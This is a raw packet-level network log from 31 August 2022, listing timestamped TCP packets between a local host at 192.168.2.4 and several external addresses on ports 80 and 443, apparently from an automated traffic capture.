Aug 31, 2022 14:28:35.843996048 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.844033003 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.844057083 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.844072104 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.844130993 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.853380919 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.853427887 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.853463888 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.853497982 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.853533030 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.853565931 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.853594065 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.853631973 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.853658915 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.853689909 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.853724957 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.853755951 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.853787899 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.853823900 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.853862047 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.853900909 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.853936911 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.853950977 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.853984118 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.853985071 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.853988886 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.854017019 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.854044914 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.854058981 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.854077101 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.854111910 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.854192019 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.854226112 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.854259014 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.854290009 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.854321957 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.854348898 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.854372978 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.854407072 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.854429007 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.854448080 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.854468107 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.854487896 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.854506969 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.854535103 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.854554892 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.854577065 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.854598045 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.854618073 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.854638100 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.854659081 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.854677916 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.854700089 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.854720116 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.854767084 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.854789972 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.854811907 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.854835033 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.854856968 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.854872942 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.855001926 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.855031013 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.855642080 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.855684996 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.855710030 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.855735064 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.855758905 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.855782986 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.855806112 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.855829000 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.855851889 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.855875969 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.855899096 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.855911016 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.855922937 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.855926037 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.855928898 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.855947971 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.855971098 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.855979919 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.855993986 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.856019020 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.856041908 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.856065989 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.856090069 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.856106997 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.856113911 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.856118917 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.856132030 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.856154919 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.856178045 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.856201887 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.856225967 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.856226921 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.856231928 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.856249094 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.856272936 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.856296062 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.856321096 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.856332064 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.856337070 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.856343985 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.856365919 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.856389046 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.856412888 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.856436014 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.856458902 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.856482983 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.856507063 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.856530905 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.856555939 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.856580019 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.856602907 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.856626987 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.856650114 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.856674910 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.856698990 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.856720924 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.856745005 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.856769085 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.856791973 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.856817007 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.856832981 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.856944084 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.857038975 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.857137918 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.857161045 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.857175112 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.857191086 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.857259989 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.857368946 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.857428074 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.857453108 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.857474089 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.857558012 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.857584000 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.857609034 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.857635021 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.857660055 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.857683897 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.857708931 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.857733965 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.857758999 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.857783079 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.857799053 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.857824087 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.857850075 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.857887030 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.857909918 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.857935905 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.857960939 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.857985020 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.858011007 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.858036995 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.858062029 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.858088017 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.858104944 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.858159065 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.858185053 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.858215094 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.858222961 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.858244896 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.858270884 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.858294964 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.858319998 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.858345985 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.858371973 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.858392954 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.858413935 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.858433008 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.858453035 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.858477116 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.858498096 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.858520985 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.858541012 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.858561993 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.858582973 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.858604908 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.858716011 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.858726978 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.858779907 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.859110117 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.859134912 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.859154940 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.859174967 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.859194994 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.859240055 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.859262943 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.859283924 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.859304905 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.859325886 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.859361887 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.859385014 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.859407902 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.859427929 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.859447956 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.859469891 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.859491110 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.859510899 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.859529972 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.859543085 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.859868050 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.859905005 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.859925032 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.860414028 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.860441923 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.898772001 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.906385899 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.947330952 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.947434902 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:37.768381119 CEST	49727	443	192.168.2.4	162.0.217.254
Aug 31, 2022 14:28:37.768421888 CEST	443	49727	162.0.217.254	192.168.2.4
Aug 31, 2022 14:28:37.768543005 CEST	49727	443	192.168.2.4	162.0.217.254
Aug 31, 2022 14:28:37.806778908 CEST	49727	443	192.168.2.4	162.0.217.254
Aug 31, 2022 14:28:37.806818962 CEST	443	49727	162.0.217.254	192.168.2.4
Aug 31, 2022 14:28:37.895153999 CEST	443	49727	162.0.217.254	192.168.2.4
Aug 31, 2022 14:28:37.895247936 CEST	49727	443	192.168.2.4	162.0.217.254
Aug 31, 2022 14:28:41.313847065 CEST	49727	443	192.168.2.4	162.0.217.254
Aug 31, 2022 14:28:41.313874006 CEST	443	49727	162.0.217.254	192.168.2.4
Aug 31, 2022 14:28:41.314366102 CEST	443	49727	162.0.217.254	192.168.2.4
Aug 31, 2022 14:28:41.314513922 CEST	49727	443	192.168.2.4	162.0.217.254
Aug 31, 2022 14:28:41.317698002 CEST	49727	443	192.168.2.4	162.0.217.254
Aug 31, 2022 14:28:41.363373995 CEST	443	49727	162.0.217.254	192.168.2.4
Aug 31, 2022 14:28:41.365560055 CEST	443	49727	162.0.217.254	192.168.2.4
Aug 31, 2022 14:28:41.365637064 CEST	49727	443	192.168.2.4	162.0.217.254
Aug 31, 2022 14:28:41.365649939 CEST	443	49727	162.0.217.254	192.168.2.4
Aug 31, 2022 14:28:41.365691900 CEST	443	49727	162.0.217.254	192.168.2.4
Aug 31, 2022 14:28:41.365705013 CEST	49727	443	192.168.2.4	162.0.217.254
Aug 31, 2022 14:28:41.365746021 CEST	49727	443	192.168.2.4	162.0.217.254
Aug 31, 2022 14:28:41.840217113 CEST	49727	443	192.168.2.4	162.0.217.254
Aug 31, 2022 14:28:41.840253115 CEST	443	49727	162.0.217.254	192.168.2.4
Aug 31, 2022 14:28:43.937944889 CEST	49728	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:44.189122915 CEST	80	49728	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:44.189227104 CEST	49728	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:44.189415932 CEST	49728	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:44.189439058 CEST	49728	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:44.440603018 CEST	80	49728	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:44.834629059 CEST	49729	80	192.168.2.4	208.95.112.1
Aug 31, 2022 14:28:44.864856958 CEST	80	49729	208.95.112.1	192.168.2.4
Aug 31, 2022 14:28:44.865132093 CEST	49729	80	192.168.2.4	208.95.112.1
Aug 31, 2022 14:28:44.865967035 CEST	49729	80	192.168.2.4	208.95.112.1
Aug 31, 2022 14:28:44.904762983 CEST	80	49729	208.95.112.1	192.168.2.4
Aug 31, 2022 14:28:44.957983971 CEST	80	49728	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:44.958031893 CEST	80	49728	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:44.958093882 CEST	49728	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:44.958333969 CEST	49728	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:44.986623049 CEST	49730	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:45.073182106 CEST	49729	80	192.168.2.4	208.95.112.1
Aug 31, 2022 14:28:45.209522963 CEST	80	49728	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:45.236649036 CEST	80	49730	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:45.238552094 CEST	49730	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:45.238646030 CEST	49730	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:45.238743067 CEST	49730	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:45.488614082 CEST	80	49730	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:46.258379936 CEST	49731	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:28:46.407984972 CEST	80	49731	45.136.151.102	192.168.2.4
Aug 31, 2022 14:28:46.408817053 CEST	49731	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:28:46.409487009 CEST	49731	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:28:46.559083939 CEST	80	49731	45.136.151.102	192.168.2.4
Aug 31, 2022 14:28:46.576721907 CEST	80	49731	45.136.151.102	192.168.2.4
Aug 31, 2022 14:28:46.695616961 CEST	80	49730	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:46.695647001 CEST	80	49730	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:46.695801973 CEST	49730	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:46.697464943 CEST	49730	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:46.717458010 CEST	49731	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:28:46.731638908 CEST	49732	443	192.168.2.4	172.67.137.109
Aug 31, 2022 14:28:46.731672049 CEST	443	49732	172.67.137.109	192.168.2.4
Aug 31, 2022 14:28:46.731751919 CEST	49732	443	192.168.2.4	172.67.137.109
Aug 31, 2022 14:28:46.732903004 CEST	49732	443	192.168.2.4	172.67.137.109
Aug 31, 2022 14:28:46.732918024 CEST	443	49732	172.67.137.109	192.168.2.4
Aug 31, 2022 14:28:46.822105885 CEST	443	49732	172.67.137.109	192.168.2.4
Aug 31, 2022 14:28:46.822251081 CEST	49732	443	192.168.2.4	172.67.137.109
Aug 31, 2022 14:28:46.824244022 CEST	49732	443	192.168.2.4	172.67.137.109
Aug 31, 2022 14:28:46.824266911 CEST	443	49732	172.67.137.109	192.168.2.4
Aug 31, 2022 14:28:46.824498892 CEST	443	49732	172.67.137.109	192.168.2.4
Aug 31, 2022 14:28:46.847390890 CEST	49732	443	192.168.2.4	172.67.137.109
Aug 31, 2022 14:28:46.891391993 CEST	443	49732	172.67.137.109	192.168.2.4
Aug 31, 2022 14:28:46.911477089 CEST	49731	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:28:46.911571026 CEST	49731	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:28:46.947153091 CEST	80	49730	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:47.061096907 CEST	80	49731	45.136.151.102	192.168.2.4
Aug 31, 2022 14:28:47.136684895 CEST	80	49731	45.136.151.102	192.168.2.4
Aug 31, 2022 14:28:47.217586994 CEST	49731	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:28:47.339786053 CEST	443	49732	172.67.137.109	192.168.2.4
Aug 31, 2022 14:28:47.339873075 CEST	443	49732	172.67.137.109	192.168.2.4
Aug 31, 2022 14:28:47.339953899 CEST	49732	443	192.168.2.4	172.67.137.109
Aug 31, 2022 14:28:47.350898027 CEST	49732	443	192.168.2.4	172.67.137.109
Aug 31, 2022 14:28:47.350944996 CEST	443	49732	172.67.137.109	192.168.2.4
Aug 31, 2022 14:28:47.351062059 CEST	49732	443	192.168.2.4	172.67.137.109
Aug 31, 2022 14:28:47.351090908 CEST	443	49732	172.67.137.109	192.168.2.4
Aug 31, 2022 14:28:47.376414061 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.376451015 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.376516104 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.376811981 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.376831055 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.427129984 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.427233934 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.429522991 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.429533958 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.429953098 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.431274891 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.458659887 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.458719969 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.458764076 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.458811045 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.458818913 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.458846092 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.458897114 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.458900928 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.458950043 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.458965063 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.459357977 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.459422112 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.459441900 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.459549904 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.459599972 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.459618092 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.459767103 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.459803104 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.459817886 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.459840059 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.459892035 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.460005045 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.460086107 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.460124969 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.460134029 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.460149050 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.460186958 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.460195065 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.460207939 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.460254908 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.460361958 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.460453987 CEST	443	49733	188.114.96.3	192.168.2.4
